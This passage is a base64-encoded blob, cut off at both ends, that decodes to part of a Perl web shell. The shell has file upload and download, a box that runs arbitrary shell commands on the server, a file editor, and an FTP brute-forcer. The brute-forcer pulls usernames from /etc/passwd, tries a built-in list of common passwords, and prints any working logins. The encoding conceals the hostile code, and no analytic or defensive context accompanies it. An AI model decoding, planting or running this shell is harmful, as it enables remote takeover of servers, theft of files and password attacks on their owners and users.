hbCgkRmlsZVVybCkgPSBAXzsKCW15ICRyZXN1bHQ9IiI7CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKCXsKCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkcmVzdWx0IC49IDw8RU5EOwpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPgpFTkQKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOwoJCSRyZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOwoKCX0KCW15ICRyZXN1bHQ9IiI7CgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5kCnsKCW15ICRyZXN1bHQ9IiI7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsKCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBydW4gY29tbWFuZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygnJENvbW1hbmQnKTsKCX0KCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRm9ybSBTYXZlIEZpbGUgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlRm9ybQp7CglteSAkcmVzdWx0ID0iIjsKCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOwoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOwoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsKCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiZ3VpIikuIjwvc3Bhbj4iOwoJaWYoLXcgJEZpbGUpCgl7CgkJJHJvd3M9IjIzIgoJfWVsc2UKCXsKCQkkbXNnPSI8YnI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTsgY29sb3I6IHllbGxvdzsnID4gUGVybWlzc2lvbiBkZW5pZWQhPGZvbnQ+PGJyPiI7CgkJJHJvd3M9IjIwIgoJfQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsKCSRSdW5Db21tYW5kID0gIiRyZWFkIFwiJFJ1bkNvbW1hbmRcIiI7CgkkcmVzdWx0IC49ICA8PEVORDsKCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CgkkUHJvbXB0Cgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPgoJPGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cKCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPgpFTkQKCQoJJHJlc3VsdCAuPSAmUnVuQ21kOwoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsKCSRyZXN1bHQgLj0gICI8L2Zvcm0+IjsKCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBTYXZlIEZpbGUKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGUoJCkKewoJbXkgJERhdGE9IHNoaWZ0IDsKCW15ICRGaWxlPSBzaGlmdDsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOwoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpCgl7CgkJYmlubW9kZSBGSUxFOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlyZXR1cm4gMTsKCX1lbHNlCgl7CgkJcmV0dXJuIDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlciBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyRm9ybQp7CglteSAkcmVzdWx0PSIiOwoJJHJlc3VsdCAuPSA8PEVORDsKCjx0YWJsZT4KCjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+ClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4KPC90ZD4KPC90cj4KPHRyPgo8dGQ+VXNlcjo8YnI+PHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0idXNlciI+CkVORApjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOwokcmVzdWx0IC49IDw8J0VORCc7CjwvdGV4dGFyZWE+PC90ZD4KPHRkPgoKUGFzczo8YnI+Cjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MKMTIzIUAjCjEyM2FkbWluCjEyM2FiYwoxMjM0NTZhZG1pbgoxMjM0NTU0MzIxCjEyMzQ0MzIxCnBhc3MxMjMKYWRtaW4KYWRtaW5jcAphZG1pbmlzdHJhdG9yCm1hdGtoYXUKcGFzc2FkbWluCnBAc3N3b3JkCnBAc3N3MHJkCnBhc3N3b3JkCjEyMzQ1NgoxMjM0NTY3CjEyMzQ1Njc4CjEyMzQ1Njc4OQoxMjM0NTY3ODkwCjExMTExMQowMDAwMDAKMjIyMjIyCjMzMzMzMwo0NDQ0NDQKNTU1NTU1CjY2NjY2Ngo3Nzc3NzcKODg4ODg4Cjk5OTk5OQoxMjMxMjMKMjM0MjM0CjM0NTM0NQo0NTY0NTYKNTY3NTY3CjY3ODY3OAo3ODk3ODkKMTIzMzIxCjQ1NjY1NAo2NTQzMjEKNzY1NDMyMQo4NzY1NDMyMQo5ODc2NTQzMjEKMDk4NzY1NDMyMQphZG1pbjEyMwphZG1pbjEyMzQ1NgphYmNkZWYKYWJjYWJjCiFAIyFAIwohQCMkJV4KIUAjJCVeJiooCiFAIyQkI0AhCmFiYzEyMwphbmh5ZXVlbQppbG92ZXlvdTwvdGV4dGFyZWE+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4KCjxvcHRpb24+MDwvb3B0aW9uPgo8b3B0aW9uPjE8L29wdGlvbj4KPG9wdGlvbj4yPC9vcHRpb24+Cgo8b3B0aW9uPjM8L29wdGlvbj4KPC9zZWxlY3Q+IAo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPgo8L2Zvcm0+CjwvdGFibGU+CkVORApyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUgRm9yY2VyCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyCnsKCW15ICRyZXN1bHQ9IiI7CgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307CglpZigkaW57J3VzZXInfSBlcSAiIikKCXsKCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07Cgl9ZWxzZQoJewoJCXVzZSBOZXQ6OkZUUDsgCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsKCQlAcGFzcz0gc3BsaXQoL1xuLywgJGlueydwYXNzJ30pOwoJCWNob21wKEB1c2VyKTsKCQljaG9tcChAcGFzcyk7CgkJJHJlc3VsdCAuPSAiPGJyPjxicj5bK10gVHJ5aW5nIGJydXRlICRTZXJ2ZXJOYW1lPGJyPj09PT09PT09PT09PT09PT09PT09Pj4+Pj4+Pj4+Pj4+PDw8PDw8PDw8PD09PT09PT09PT09PT09PT09PT09PGJyPjxicj5cbiI7CgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQoJCXsKCQkJaWYoISgkdXNlcm5hbWUgZXEgIiIpKQoJCQl7CgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpCgkJCQl7CgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQoJCQkJCXsKCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7CgkJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCQkJYnJlYWs7CgkJCQkJfQoJCQkJCWlmKCEoJGlueydzbGVlcCd9IGVxICIwIikpCgkJCQkJewoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7CgkJCQkJfQoJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCX0KCQkJfQoJCX0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT0